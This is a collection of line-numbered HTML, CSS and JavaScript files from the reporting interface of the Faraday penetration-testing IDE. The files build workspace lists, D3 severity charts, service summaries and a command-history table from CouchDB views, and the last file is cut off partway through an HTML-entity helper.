483 }
484
485 /**
486 * Remove inner padding and search cancel button in Safari 5 and Chrome
487 * on OS X.
488 */
489
490 input[type="search"]::-webkit-search-cancel-button,
491 input[type="search"]::-webkit-search-decoration {
492 -webkit-appearance: none;
493 }
494
495 /**
496 * Remove inner padding and border in Firefox 3+.
497 */
498
499 button::-moz-focus-inner,
500 input::-moz-focus-inner {
501 border: 0;
502 padding: 0;
503 }
504
505 /**
506 * 1. Remove default vertical scrollbar in IE 6/7/8/9.
507 * 2. Improve readability and alignment in all browsers.
508 */
509
510 textarea {
511 overflow: auto; /* 1 */
512 vertical-align: top; /* 2 */
513 }
514
515 /* ==========================================================================
516 Tables
517 ========================================================================== */
518
519 /**
520 * Remove most spacing between table cells.
521 */
522
523 table {
524 border-collapse: collapse;
525 border-spacing: 0;
526 }
0 <!-- Faraday Penetration Test IDE &#45; Community Version -->
1 <!-- Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/) -->
2 <!-- See the file 'doc/LICENSE' for the license information -->
3 <!DOCTYPE html>
4 <html>
5 <head>
6 <title>Example CouchApp</title>
7 <link rel="stylesheet" href="style/main.css" type="text/css">
8 </head>
9 <body>
10 <!-- <div id="account"></div> -->
11
12 <h1>Welcome to Faraday Reports!</h1>
13
14 <div id="profile">
15 Have you wonder what's your infraestructure status?
16 </div>
17 <div id="content">
18 Available Workspaces
19 </div>
20
21 <div id="sidebar">
22 <p>Here you can find full visualization on your Security Assets.</p>
23 </div>
24 </body>
25 <script src="/_utils/script/sha1.js"></script>
26 <script src="script/app.js"></script>
27 <script src="script/reports_list.js"></script>
28
29 <script src="/_utils/script/json2.js"></script>
30 <script src="/_utils/script/jquery.js"></script>
31 <script src="/_utils/script/jquery.couch.js"></script>
32
33 <script >
34 $.couch.allDbs({
35 success : function(dbs) {
36 dbs.filter(function(db_name){
37 return db_name.search(/^_/) < 0 && db_name.search("reports") < 0;})
38 .forEach(function(db) {
39 rep_links = [];
40 reports.forEach( function(reps) {
41 var qs = ["workspace=" + db, 'design=' + designs[reps], 'view=' + views[reps]];
42 rep_links.push('<a href="/reports/_design/reports/' + reps + '.html?' + qs.join('&') + '">[' + reps + ']</a>');
43 });
44 $(".databases").append('<li><a href="/_utils/database.html?'+db+'">'+db+'</a>' + rep_links.join(' ') + '</li>');
45 });
46 }
47 });
48 </script>
49
50 <div id="content" class="databases"/>
51
52 </html>
0 <!-- Faraday Penetration Test IDE &#45; Community Version -->
1 <!-- Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/) -->
2 <!-- See the file 'doc/LICENSE' for the license information -->
3 <!DOCTYPE html>
4
5 <!DOCTYPE html>
6 <html>
7 <head>
8 <title>Pruebas D3</title>
9 </head>
10 <body>
11 <style>
12 text {
13 font: 10px sans-serif;
14 }
15 </style>
16 <center>
17 <script src='script/common.js'></script>
18 <script src='d3.v3.min.js'></script>
19 <script>
20 var diameter = 960,
21 format = d3.format(",d"),
22 color = d3.scale.category20c();
23
24 var bubble = d3.layout.pack()
25 .sort(null)
26 .size([diameter, diameter])
27 .padding(1.5);
28
29 var svg = d3.select("body").append("svg")
30 .attr("width", diameter)
31 .attr("height", diameter)
32 .attr("class", "bubble");
33
34 var workspace = getParameterByName("workspace");
35 var view = getParameterByName("view");
36 var design = getParameterByName("design");
37 json_url = "/" + workspace + "/_design/" + design + "/_view/" + view;
38 d3.json(json_url, function(error, root) {
39 var jotason = {};
40 jotason.children = [];
41 for(var v in root.rows){
42 jotason.children.push(root.rows[v].value);
43 }
44 var node = svg.selectAll(".node")
45 .data(bubble.nodes(classes(jotason))
46 .filter(function(d) { return !d.children; }))
47 .enter().append("g")
48 .attr("class", "node")
49 .attr("transform", function(d) { return "translate(" + d.x + "," + d.y + ")"; });
50
51 node.append("title")
52 .text(function(d) { return d.className + ": " + format(d.value); });
53
54 node.append("circle")
55 .attr("r", function(d) { return d.r; })
56 .style("fill", function(d) { return color(d.packageName); });
57
58 node.append("text")
59 .attr("dy", ".3em")
60 .style("text-anchor", "middle")
61 .text(function(d) { return d.className.substring(0, d.r / 3); });
62 });
63
64 // Returns a flattened hierarchy containing all leaf nodes under the root.
65 function classes(root) {
66 var classes = [];
67
68 function recurse(name, node) {
69 if (node.children) node.children.forEach(function(child) { recurse(node.name, child); });
70 else classes.push({packageName: name, className: node.name, value: node.size});
71 }
72
73 recurse(null, root);
74 return {children: classes};
75 }
76
77 d3.select(self.frameElement).style("height", diameter + "px");
78 </script>
79 </center>
80 </body>
81 </html>
82
83
0 <!DOCTYPE html>
1 <meta charset="utf-8">
2 <style>
3 #string{
4 display: block;
5 position: absolute;
6 left: 44%;
7 font-size: 21px;
8 }
9
10 .bar {
11 fill: steelblue;
12 }
13
14 .bar:hover {
15 opacity: 0.5;
16 }
17
18 .axis {
19 font: 10px sans-serif;
20 }
21
22 .axis path,
23 .axis line {
24 fill: none;
25 stroke: #000;
26 shape-rendering: crispEdges;
27 }
28
29 .x.axis path {
30 display: none;
31 }
32
33 </style>
34 <body>
35 <div id="string"></div>
36 <script src="http://d3js.org/d3.v3.min.js"></script>
37 <script>
38 // Mapping of step names to colors.
39 var colors = {
40 "low": "#8DB600",
41 "med": "#ffff00",
42 "critical": "#8B00FF",
43 "high": "#B80000",
44 "info": "#E8E8E8"
45 };
46
47 var margin = {top: 20, right: 20, bottom: 30, left: 40},
48 width = 960 - margin.left - margin.right,
49 height = 500 - margin.top - margin.bottom;
50
51 var x = d3.scale.ordinal()
52 .rangeRoundBands([0, width], .1);
53
54 var y = d3.scale.linear()
55 .range([height, 0]);
56
57 var xAxis = d3.svg.axis()
58 .scale(x)
59 .orient("bottom");
60
61 var yAxis = d3.svg.axis()
62 .scale(y)
63 .orient("left")
64 .ticks(5);
65
66 var svg = d3.select("body").append("svg")
67 .attr("width", width + margin.left + margin.right)
68 .attr("height", height + margin.top + margin.bottom)
69 .append("g")
70 .attr("transform", "translate(" + margin.left + "," + margin.top + ")");
71
72 var workspace = getParameterByName('workspace');
73 var design = getParameterByName('design');
74 var view = getParameterByName('view');
75
76 json_url = "/" + workspace + "/_design/" + design + "/_view/" + view + "?group=true";
77 d3.json(json_url, function(error, root) {
78 var jotason = [];
79 jotason["children"] = root["rows"];
80 var data = get_low(jotason);
81
82 x.domain(data.map(function(d) { return d.key; }));
83 y.domain([0, d3.max(data, function(d) { return d.value; })]);
84
85 svg.append("g")
86 .attr("class", "x axis")
87 .attr("transform", "translate(0," + height + ")")
88 .call(xAxis);
89
90 svg.append("g")
91 .attr("class", "y axis")
92 .call(yAxis)
93 .append("text")
94 .attr("transform", "rotate(-90)")
95 .attr("y", 6)
96 .attr("dy", ".71em")
97 .style("text-anchor", "end")
98 .text("Value");
99
100 svg.selectAll(".bar")
101 .data(data)
102 .enter().append("rect")
103 .attr("class", "bar")
104 .attr("x", function(d) { return x(d.key); })
105 .attr("width", x.rangeBand())
106 .attr("y", function(d) { return y(d.value); })
107 .style("fill", function(d) {return colors[d.key]; })
108 .on("mouseover", mouseover)
109 .attr("height", function(d) { return height - y(d.value); });
110 });
111
112 function mouseover(d){
113 var string = d.value;
114 d3.select("#string")
115 .text("Valor: " + string);
116 }
117
118 function type(d) {
119 d.value = +d.value;
120 return d;
121 }
122 function get_low(jotason){
123 var children = jotason["children"];
124 for (i = 0; i < 5; i++) {
125 jotason[i] = {};
126 jotason[i].value = 0;
127 }
128 jotason[0].key = "info";
129 jotason[1].key = "low";
130 jotason[2].key = "med";
131 jotason[3].key = "high";
132 jotason[4].key = "critical";
133
134 for(i = 0; i < children.length; i++){
135 if(children[i].key == 1 || children[i].key == "Information" || children[i].key == "info"){
136 jotason[0].value += children[i].value;
137 }
138 if(children[i].key == 2 || children[i].key == "Low"){
139 jotason[1].value += children[i].value;
140 }
141 if(children[i].key == 3 || children[i].key == "Medium"){
142 jotason[2].value += children[i].value;
143 }
144 if(children[i].key == 4 || children[i].key == "High"){
145 jotason[3].value += children[i].value;
146 }
147 if(children[i].key == 5 || children[i].key == "Critical"){
148 jotason[4].value += children[i].value;
149 }
150 }
151 delete jotason["children"]
152 return jotason;
153 }
154 //function para traer parametros
155 function getParameterByName( name ){
156 name = name.replace(/[\[]/,"\\\[").replace(/[\]]/,"\\\]");
157 var regexS = "[\\?&]"+name+"=([^&#]*)";
158 var regex = new RegExp( regexS );
159 var results = regex.exec( window.location.href );
160 if( results == null )
161 return "";
162 else
163 return decodeURIComponent(results[1].replace(/\+/g, " "));
164 }
165 </script>
0 <script type="text/javascript">
1 function get_report_div(workspace, view,design){
2 var arr = [];
3 json_url = "/" + workspace + "/_design/" + design + "/_view/" + view+"?group=true";
4 var divs = "";
5 $.ajaxSetup({
6 async: false
7 });
8 $.getJSON(json_url, function(data) {
9 var colores = ["negro", "rojo"];
10 var i = 0;
11 divs += "<div class='col-lg-3'><article class='panel panel-default'>"+
12 "<header><h2>Services report "+
13 "<span class=\"glyphicon glyphicon-info-sign faraday-qtips\" title=\"All services for current WS ordered by host amount\"></span></h2>"+
14 "</header><div class='main'><div class='box'>";
15
16 var row = data.rows;
17 for (i = 0; i < row.length; i++) {
18 arr.push([row[i].value,row[i].key]);
19 }
20 obj = [];
21 var obj = arr.sort(function(a,b){
22 if (a[0] === b[0]) {
23 return 0;
24 }
25 else {
26 return (a[0] > b[0]) ? -1 : 1;
27 }
28 });
29 if(jQuery.isEmptyObject(obj)){
30 divs += "<div class=\"alert alert-info alert-dismissible\">"+
31 "<button type=\"button\" class=\"close\" data-dismiss=\"alert\">"+
32 "<span aria-hidden=\"true\">&times;</span>"+
33 "<span class=\"sr-only\">Close</span>"+
34 "</button>"+
35 "<p>No services found yet</p>"+
36 "</div>";
37 }
38 for (i = 0; i < obj.length; i++) {
39 var val = htmlentities(obj[i][1]);
40 divs += "<div class=\"columna unquinto services \"><article class=\"dato2 fondo-"+colores[i%2]+"\"><section>"+
41 "<div class=\"nro texto-"+colores[(i+1)%2]+"\">"+
42 obj[i][0]+
43 "</div><div class=\"txt texto-blanco\">"+
44 val+
45 "</div></section></article></div>";
46 }
47 divs +="</article></div></div>";
48 return divs;
49 });
50 return divs;
51 }
52
53 function htmlentities(string, quote_style, charset, double_encode) {
54 var hash_map = translationtable('HTML_ENTITIES', quote_style), symbol = '';
55 string = string == null ? '' : string + '';
56
57 if (!hash_map) {
58 return false;
59 }
60
61 if (quote_style && quote_style === 'ENT_QUOTES') {
62 hash_map["'"] = '&#039;';
63 }
64
65 if ( !! double_encode || double_encode == null) {
66 for (symbol in hash_map) {
67 if (hash_map.hasOwnProperty(symbol)) {
68 string = string.split(symbol)
69 .join(hash_map[symbol]);
70 }
71 }
72 } else {
73 string = string.replace(/([\s\S]*?)(&(?:#\d+|#x[\da-f]+|[a-zA-Z][\da-z]*);|$)/g, function (ignore, text, entity) {
74 for (symbol in hash_map) {
75 if (hash_map.hasOwnProperty(symbol)) {
76 text = text.split(symbol)
77 .join(hash_map[symbol]);
78 }
79 }
80 return text + entity;
81 });
82 }
83 return string;
84 };
85
86 function translationtable(table, quote_style) {
87 var entities = {},
88 hash_map = {},
89 decimal;
90 var constMappingTable = {},
91 constMappingQuoteStyle = {};
92 var useTable = {},
93 useQuoteStyle = {};
94
95 // Translate arguments
96 constMappingTable[0] = 'HTML_SPECIALCHARS';
97 constMappingTable[1] = 'HTML_ENTITIES';
98 constMappingQuoteStyle[0] = 'ENT_NOQUOTES';
99 constMappingQuoteStyle[2] = 'ENT_COMPAT';
100 constMappingQuoteStyle[3] = 'ENT_QUOTES';
101
102 useTable = !isNaN(table) ? constMappingTable[table] : table ? table.toUpperCase() : 'HTML_SPECIALCHARS';
103 useQuoteStyle = !isNaN(quote_style) ? constMappingQuoteStyle[quote_style] : quote_style ? quote_style.toUpperCase() :
104 'ENT_COMPAT';
105
106 if (useTable !== 'HTML_SPECIALCHARS' && useTable !== 'HTML_ENTITIES') {
107 throw new Error('Table: ' + useTable + ' not supported');
108 }
109
110 entities['38'] = '&amp;';
111 if (useTable === 'HTML_ENTITIES') {
112 entities['160'] = '&nbsp;';
113 entities['161'] = '&iexcl;';
114 entities['162'] = '&cent;';
115 entities['163'] = '&pound;';
116 entities['164'] = '&curren;';
117 entities['165'] = '&yen;';
118 entities['166'] = '&brvbar;';
119 entities['167'] = '&sect;';
120 entities['168'] = '&uml;';
121 entities['169'] = '&copy;';
122 entities['170'] = '&ordf;';
123 entities['171'] = '&laquo;';
124 entities['172'] = '&not;';
125 entities['173'] = '&shy;';
126 entities['174'] = '&reg;';
127 entities['175'] = '&macr;';
128 entities['176'] = '&deg;';
129 entities['177'] = '&plusmn;';
130 entities['178'] = '&sup2;';
131 entities['179'] = '&sup3;';
132 entities['180'] = '&acute;';
133 entities['181'] = '&micro;';
134 entities['182'] = '&para;';
135 entities['183'] = '&middot;';
136 entities['184'] = '&cedil;';
137 entities['185'] = '&sup1;';
138 entities['186'] = '&ordm;';
139 entities['187'] = '&raquo;';
140 entities['188'] = '&frac14;';
141 entities['189'] = '&frac12;';
142 entities['190'] = '&frac34;';
143 entities['191'] = '&iquest;';
144 entities['192'] = '&Agrave;';
145 entities['193'] = '&Aacute;';
146 entities['194'] = '&Acirc;';
147 entities['195'] = '&Atilde;';
148 entities['196'] = '&Auml;';
149 entities['197'] = '&Aring;';
150 entities['198'] = '&AElig;';
151 entities['199'] = '&Ccedil;';
152 entities['200'] = '&Egrave;';
153 entities['201'] = '&Eacute;';
154 entities['202'] = '&Ecirc;';
155 entities['203'] = '&Euml;';
156 entities['204'] = '&Igrave;';
157 entities['205'] = '&Iacute;';
158 entities['206'] = '&Icirc;';
159 entities['207'] = '&Iuml;';
160 entities['208'] = '&ETH;';
161 entities['209'] = '&Ntilde;';
162 entities['210'] = '&Ograve;';
163 entities['211'] = '&Oacute;';
164 entities['212'] = '&Ocirc;';
165 entities['213'] = '&Otilde;';
166 entities['214'] = '&Ouml;';
167 entities['215'] = '&times;';
168 entities['216'] = '&Oslash;';
169 entities['217'] = '&Ugrave;';
170 entities['218'] = '&Uacute;';
171 entities['219'] = '&Ucirc;';
172 entities['220'] = '&Uuml;';
173 entities['221'] = '&Yacute;';
174 entities['222'] = '&THORN;';
175 entities['223'] = '&szlig;';
176 entities['224'] = '&agrave;';
177 entities['225'] = '&aacute;';
178 entities['226'] = '&acirc;';
179 entities['227'] = '&atilde;';
180 entities['228'] = '&auml;';
181 entities['229'] = '&aring;';
182 entities['230'] = '&aelig;';
183 entities['231'] = '&ccedil;';
184 entities['232'] = '&egrave;';
185 entities['233'] = '&eacute;';
186 entities['234'] = '&ecirc;';
187 entities['235'] = '&euml;';
188 entities['236'] = '&igrave;';
189 entities['237'] = '&iacute;';
190 entities['238'] = '&icirc;';
191 entities['239'] = '&iuml;';
192 entities['240'] = '&eth;';
193 entities['241'] = '&ntilde;';
194 entities['242'] = '&ograve;';
195 entities['243'] = '&oacute;';
196 entities['244'] = '&ocirc;';
197 entities['245'] = '&otilde;';
198 entities['246'] = '&ouml;';
199 entities['247'] = '&divide;';
200 entities['248'] = '&oslash;';
201 entities['249'] = '&ugrave;';
202 entities['250'] = '&uacute;';
203 entities['251'] = '&ucirc;';
204 entities['252'] = '&uuml;';
205 entities['253'] = '&yacute;';
206 entities['254'] = '&thorn;';
207 entities['255'] = '&yuml;';
208 }
209
210 if (useQuoteStyle !== 'ENT_NOQUOTES') {
211 entities['34'] = '&quot;';
212 }
213 if (useQuoteStyle === 'ENT_QUOTES') {
214 entities['39'] = '&#39;';
215 }
216 entities['60'] = '&lt;';
217 entities['62'] = '&gt;';
218
219 // ascii decimals to real symbols
220 for (decimal in entities) {
221 if (entities.hasOwnProperty(decimal)) {
222 hash_map[String.fromCharCode(decimal)] = entities[decimal];
223 }
224 }
225
226 return hash_map;
227 }
228
229 $(document).ready(function() {
230 $('#cont').on('mouseenter', '.services', function (event) {
231 $(this).qtip({
232 overwrite: false, // Don't overwrite tooltips already bound
233 show: {
234 ready: true // Show immediately - important!
235 },
236 hide: {
237 fixed: true,
238 delay: 300
239 },
240 content:{
241 text: function(event, api) {
242 var name = $(this)[0].innerHTML.split(">")[5].split("<")[0];
243 var hosts = "<div id='contenido'>Hosts:";
244 hosts += load_hosts_by_service(name, true);
245 hosts += "</div>";
246 return hosts;
247 }
248 }
249 });
250 });
251 });
252
253 </script>
0 <!DOCTYPE html>
1 <html>
2 <head>
3 <meta charset="utf-8">
4 <title>Sequences sunburst</title>
5 <script src="http://d3js.org/d3.v3.min.js"></script>
6 <link rel="stylesheet" type="text/css"
7 href="https://fonts.googleapis.com/css?family=Open+Sans:400,600">
8 </head>
9 <body>
10 <div id="main">
11 <div id="sequence"></div>
12 <div id="chart">
13 <div id="explanation" style="visibility: hidden;">
14 <span id="percentage"></span><br/>
15 </div>
16 </div>
17 </div>
18 <div id="sidebar">
19 <input type="checkbox" id="togglelegend"> Legend<br/>
20 <div id="legend" style="visibility: hidden;"></div>
21 </div>
22 <script type="text/javascript" src="../././script/sequences.js"></script>
23 <link rel="stylesheet" type="text/css" href="../././sequences.css" />
24 <script type="text/javascript">
25 // Hack to make this example display correctly in an iframe on bl.ocks.org
26 d3.select(self.frameElement).style("height", "700px");
27 </script>
28 </body>
29 </html>
0 <script type="text/javascript">
1 function htmlentities(string, quote_style, charset, double_encode) {
2 var hash_map = translationtable('HTML_ENTITIES', quote_style), symbol = '';
3 string = string == null ? '' : string + '';
4
5 if (!hash_map) {
6 return false;
7 }
8
9 if (quote_style && quote_style === 'ENT_QUOTES') {
10 hash_map["'"] = '&#039;';
11 }
12
13 if ( !! double_encode || double_encode == null) {
14 for (symbol in hash_map) {
15 if (hash_map.hasOwnProperty(symbol)) {
16 string = string.split(symbol)
17 .join(hash_map[symbol]);
18 }
19 }
20 } else {
21 string = string.replace(/([\s\S]*?)(&(?:#\d+|#x[\da-f]+|[a-zA-Z][\da-z]*);|$)/g, function (ignore, text, entity) {
22 for (symbol in hash_map) {
23 if (hash_map.hasOwnProperty(symbol)) {
24 text = text.split(symbol)
25 .join(hash_map[symbol]);
26 }
27 }
28 return text + entity;
29 });
30 }
31 return string;
32 };
33
34 function translationtable(table, quote_style) {
35 var entities = {},
36 hash_map = {},
37 decimal;
38 var constMappingTable = {},
39 constMappingQuoteStyle = {};
40 var useTable = {},
41 useQuoteStyle = {};
42
43 // Translate arguments
44 constMappingTable[0] = 'HTML_SPECIALCHARS';
45 constMappingTable[1] = 'HTML_ENTITIES';
46 constMappingQuoteStyle[0] = 'ENT_NOQUOTES';
47 constMappingQuoteStyle[2] = 'ENT_COMPAT';
48 constMappingQuoteStyle[3] = 'ENT_QUOTES';
49
50 useTable = !isNaN(table) ? constMappingTable[table] : table ? table.toUpperCase() : 'HTML_SPECIALCHARS';
51 useQuoteStyle = !isNaN(quote_style) ? constMappingQuoteStyle[quote_style] : quote_style ? quote_style.toUpperCase() :
52 'ENT_COMPAT';
53
54 if (useTable !== 'HTML_SPECIALCHARS' && useTable !== 'HTML_ENTITIES') {
55 throw new Error('Table: ' + useTable + ' not supported');
56 }
57
58 entities['38'] = '&amp;';
59 if (useTable === 'HTML_ENTITIES') {
60 entities['160'] = '&nbsp;';
61 entities['161'] = '&iexcl;';
62 entities['162'] = '&cent;';
63 entities['163'] = '&pound;';
64 entities['164'] = '&curren;';
65 entities['165'] = '&yen;';
66 entities['166'] = '&brvbar;';
67 entities['167'] = '&sect;';
68 entities['168'] = '&uml;';
69 entities['169'] = '&copy;';
70 entities['170'] = '&ordf;';
71 entities['171'] = '&laquo;';
72 entities['172'] = '&not;';
73 entities['173'] = '&shy;';
74 entities['174'] = '&reg;';
75 entities['175'] = '&macr;';
76 entities['176'] = '&deg;';
77 entities['177'] = '&plusmn;';
78 entities['178'] = '&sup2;';
79 entities['179'] = '&sup3;';
80 entities['180'] = '&acute;';
81 entities['181'] = '&micro;';
82 entities['182'] = '&para;';
83 entities['183'] = '&middot;';
84 entities['184'] = '&cedil;';
85 entities['185'] = '&sup1;';
86 entities['186'] = '&ordm;';
87 entities['187'] = '&raquo;';
88 entities['188'] = '&frac14;';
89 entities['189'] = '&frac12;';
90 entities['190'] = '&frac34;';
91 entities['191'] = '&iquest;';
92 entities['192'] = '&Agrave;';
93 entities['193'] = '&Aacute;';
94 entities['194'] = '&Acirc;';
95 entities['195'] = '&Atilde;';
96 entities['196'] = '&Auml;';
97 entities['197'] = '&Aring;';
98 entities['198'] = '&AElig;';
99 entities['199'] = '&Ccedil;';
100 entities['200'] = '&Egrave;';
101 entities['201'] = '&Eacute;';
102 entities['202'] = '&Ecirc;';
103 entities['203'] = '&Euml;';
104 entities['204'] = '&Igrave;';
105 entities['205'] = '&Iacute;';
106 entities['206'] = '&Icirc;';
107 entities['207'] = '&Iuml;';
108 entities['208'] = '&ETH;';
109 entities['209'] = '&Ntilde;';
110 entities['210'] = '&Ograve;';
111 entities['211'] = '&Oacute;';
112 entities['212'] = '&Ocirc;';
113 entities['213'] = '&Otilde;';
114 entities['214'] = '&Ouml;';
115 entities['215'] = '&times;';
116 entities['216'] = '&Oslash;';
117 entities['217'] = '&Ugrave;';
118 entities['218'] = '&Uacute;';
119 entities['219'] = '&Ucirc;';
120 entities['220'] = '&Uuml;';
121 entities['221'] = '&Yacute;';
122 entities['222'] = '&THORN;';
123 entities['223'] = '&szlig;';
124 entities['224'] = '&agrave;';
125 entities['225'] = '&aacute;';
126 entities['226'] = '&acirc;';
127 entities['227'] = '&atilde;';
128 entities['228'] = '&auml;';
129 entities['229'] = '&aring;';
130 entities['230'] = '&aelig;';
131 entities['231'] = '&ccedil;';
132 entities['232'] = '&egrave;';
133 entities['233'] = '&eacute;';
134 entities['234'] = '&ecirc;';
135 entities['235'] = '&euml;';
136 entities['236'] = '&igrave;';
137 entities['237'] = '&iacute;';
138 entities['238'] = '&icirc;';
139 entities['239'] = '&iuml;';
140 entities['240'] = '&eth;';
141 entities['241'] = '&ntilde;';
142 entities['242'] = '&ograve;';
143 entities['243'] = '&oacute;';
144 entities['244'] = '&ocirc;';
145 entities['245'] = '&otilde;';
146 entities['246'] = '&ouml;';
147 entities['247'] = '&divide;';
148 entities['248'] = '&oslash;';
149 entities['249'] = '&ugrave;';
150 entities['250'] = '&uacute;';
151 entities['251'] = '&ucirc;';
152 entities['252'] = '&uuml;';
153 entities['253'] = '&yacute;';
154 entities['254'] = '&thorn;';
155 entities['255'] = '&yuml;';
156 }
157
158 if (useQuoteStyle !== 'ENT_NOQUOTES') {
159 entities['34'] = '&quot;';
160 }
161 if (useQuoteStyle === 'ENT_QUOTES') {
162 entities['39'] = '&#39;';
163 }
164 entities['60'] = '&lt;';
165 entities['62'] = '&gt;';
166
167 // ascii decimals to real symbols
168 for (decimal in entities) {
169 if (entities.hasOwnProperty(decimal)) {
170 hash_map[String.fromCharCode(decimal)] = entities[decimal];
171 }
172 }
173
174 return hash_map;
175 }
176 function get_report_div(workspace, view,design){
177
178 json_url = "/" + workspace + "/_design/" + design + "/_view/" + view;
179 var tabla = "";
180 $.ajaxSetup({
181 async: false
182 });
183 $.getJSON(json_url, function(data) {
184 if(jQuery.isEmptyObject(data.rows)){
185 tabla = "<div class='col-lg-6'><article><section class=\"sin_padding\" id=\"hosts\">"+
186 "<header><h2>Commands History "+
187 "<span class=\"glyphicon glyphicon-info-sign faraday-qtips\""+
188 "title=\"Shows current WS' executed commands\"></span>"+
189 "</h2></header>"+
190 "<div class=\"alert alert-info alert-dismissible\">"+
191 "<button type=\"button\" class=\"close\" data-dismiss=\"alert\">"+
192 "<span aria-hidden=\"true\">&times;</span>"+
193 "<span class=\"sr-only\">Close</span>"+
194 "</button>"+
195 "<p>No services found yet</p>"+
196 "</div>"+
197 "</div></section>";
198 }else{
199 tabla = "<div class='col-lg-6'><article><section class=\"sin_padding\" id=\"hosts\">"+
200 "<header><h2>Commands History "+
201 "<span class=\"glyphicon glyphicon-info-sign faraday-qtips\""+
202 "title=\"Shows current WS' executed commands\"></span></h2>"+
203 "</h2></header>";
204 tabla += "<table id=\"hosts-"+workspace+"\" class=\"tablesorter table table-striped\"><thead><tr>"+
205 "<th>By</th><th>Command</th><th>Start Date</th><th>Duration</th>"+
206 "</tr></thead><tbody>";
207 $.each(data.rows, function(n, obj){
208 var user = "unknown";
209 var hostname = "unknown";
210 var ip = "0.0.0.0";
211 var duration = "";
212 var d = new Date(0);
213 var command = htmlentities(obj.key);
214 d.setUTCSeconds(obj.value.startdate);
215 var mins = (d.getMinutes()<10?'0':'') + d.getMinutes();
216 d = d.getDate() + "/" + (d.getMonth() + 1) + "/" + d.getFullYear() + " - " + d.getHours() + ":" + mins;
217 if(obj.value.duration == "0" || obj.value.duration == "") {
218 duration = "In progress";
219 } else if(!obj.value.duration){
220 duration = "Undefined";
221 } else {
222 duration = obj.value.duration.toFixed(2) + "s";
223 }
224 if(obj.value.user && obj.value.user != "") user = htmlentities(obj.value.user);
225 if(obj.value.hostname && obj.value.hostname != "") hostname = htmlentities(obj.value.hostname);
226 if(obj.value.ip && obj.value.ip != "") ip = obj.value.ip;
227 tabla += "<tr><td class=\"faraday-qtips\" title=\""+ip+"\">"+user+"@"+hostname+"</td>"+
228 "<td>"+command+"</td><td>"+d+"</td><td>"+duration+"</td></tr>";
229 });
230 tabla += "</tbody></table>";
231 tabla +="</section></article></div>";
232 }
233 return tabla;
234 });
235 return tabla;
236 }
237 </script>
238 </body>
239 </html>
0 <script type="text/javascript" src="script/compound.js"></script>
1 <script type="text/javascript">
2 function htmlentities(string, quote_style, charset, double_encode) {
3 var hash_map = translationtable('HTML_ENTITIES', quote_style), symbol = '';
4 string = string == null ? '' : string + '';
5
6 if (!hash_map) {
7 return false;
8 }
9
10 if (quote_style && quote_style === 'ENT_QUOTES') {
11 hash_map["'"] = '&#039;';
12 }
13
14 if ( !! double_encode || double_encode == null) {
15 for (symbol in hash_map) {
16 if (hash_map.hasOwnProperty(symbol)) {
17 string = string.split(symbol)
18 .join(hash_map[symbol]);
19 }
20 }
21 } else {
22 string = string.replace(/([\s\S]*?)(&(?:#\d+|#x[\da-f]+|[a-zA-Z][\da-z]*);|$)/g, function (ignore, text, entity) {
23 for (symbol in hash_map) {
24 if (hash_map.hasOwnProperty(symbol)) {
25 text = text.split(symbol)
26 .join(hash_map[symbol]);
27 }
28 }
29 return text + entity;
30 });
31 }
32 return string;
33 };
34
35 function translationtable(table, quote_style) {
36 var entities = {},
37 hash_map = {},
38 decimal;
39 var constMappingTable = {},
40 constMappingQuoteStyle = {};
41 var useTable = {},
42 useQuoteStyle = {};
43
44 // Translate arguments
45 constMappingTable[0] = 'HTML_SPECIALCHARS';
46 constMappingTable[1] = 'HTML_ENTITIES';
47 constMappingQuoteStyle[0] = 'ENT_NOQUOTES';
48 constMappingQuoteStyle[2] = 'ENT_COMPAT';
49 constMappingQuoteStyle[3] = 'ENT_QUOTES';
50
51 useTable = !isNaN(table) ? constMappingTable[table] : table ? table.toUpperCase() : 'HTML_SPECIALCHARS';
52 useQuoteStyle = !isNaN(quote_style) ? constMappingQuoteStyle[quote_style] : quote_style ? quote_style.toUpperCase() :
53 'ENT_COMPAT';
54
55 if (useTable !== 'HTML_SPECIALCHARS' && useTable !== 'HTML_ENTITIES') {
56 throw new Error('Table: ' + useTable + ' not supported');
57 }
58
59 entities['38'] = '&amp;';
60 if (useTable === 'HTML_ENTITIES') {
61 entities['160'] = '&nbsp;';
62 entities['161'] = '&iexcl;';
63 entities['162'] = '&cent;';
64 entities['163'] = '&pound;';
65 entities['164'] = '&curren;';
66 entities['165'] = '&yen;';
67 entities['166'] = '&brvbar;';
68 entities['167'] = '&sect;';
69 entities['168'] = '&uml;';
70 entities['169'] = '&copy;';
71 entities['170'] = '&ordf;';
72 entities['171'] = '&laquo;';
73 entities['172'] = '&not;';
74 entities['173'] = '&shy;';
75 entities['174'] = '&reg;';
76 entities['175'] = '&macr;';
77 entities['176'] = '&deg;';
78 entities['177'] = '&plusmn;';
79 entities['178'] = '&sup2;';
80 entities['179'] = '&sup3;';
81 entities['180'] = '&acute;';
82 entities['181'] = '&micro;';
83 entities['182'] = '&para;';
84 entities['183'] = '&middot;';
85 entities['184'] = '&cedil;';
86 entities['185'] = '&sup1;';
87 entities['186'] = '&ordm;';
88 entities['187'] = '&raquo;';
89 entities['188'] = '&frac14;';
90 entities['189'] = '&frac12;';
91 entities['190'] = '&frac34;';
92 entities['191'] = '&iquest;';
93 entities['192'] = '&Agrave;';
94 entities['193'] = '&Aacute;';
95 entities['194'] = '&Acirc;';
96 entities['195'] = '&Atilde;';
97 entities['196'] = '&Auml;';
98 entities['197'] = '&Aring;';
99 entities['198'] = '&AElig;';
100 entities['199'] = '&Ccedil;';
101 entities['200'] = '&Egrave;';
102 entities['201'] = '&Eacute;';
103 entities['202'] = '&Ecirc;';
104 entities['203'] = '&Euml;';
105 entities['204'] = '&Igrave;';
106 entities['205'] = '&Iacute;';
107 entities['206'] = '&Icirc;';
108 entities['207'] = '&Iuml;';
109 entities['208'] = '&ETH;';
110 entities['209'] = '&Ntilde;';
111 entities['210'] = '&Ograve;';
112 entities['211'] = '&Oacute;';
113 entities['212'] = '&Ocirc;';
114 entities['213'] = '&Otilde;';
115 entities['214'] = '&Ouml;';
116 entities['215'] = '&times;';
117 entities['216'] = '&Oslash;';
118 entities['217'] = '&Ugrave;';
119 entities['218'] = '&Uacute;';
120 entities['219'] = '&Ucirc;';
121 entities['220'] = '&Uuml;';
122 entities['221'] = '&Yacute;';
123 entities['222'] = '&THORN;';
124 entities['223'] = '&szlig;';
125 entities['224'] = '&agrave;';
126 entities['225'] = '&aacute;';
127 entities['226'] = '&acirc;';
128 entities['227'] = '&atilde;';
129 entities['228'] = '&auml;';
130 entities['229'] = '&aring;';
131 entities['230'] = '&aelig;';
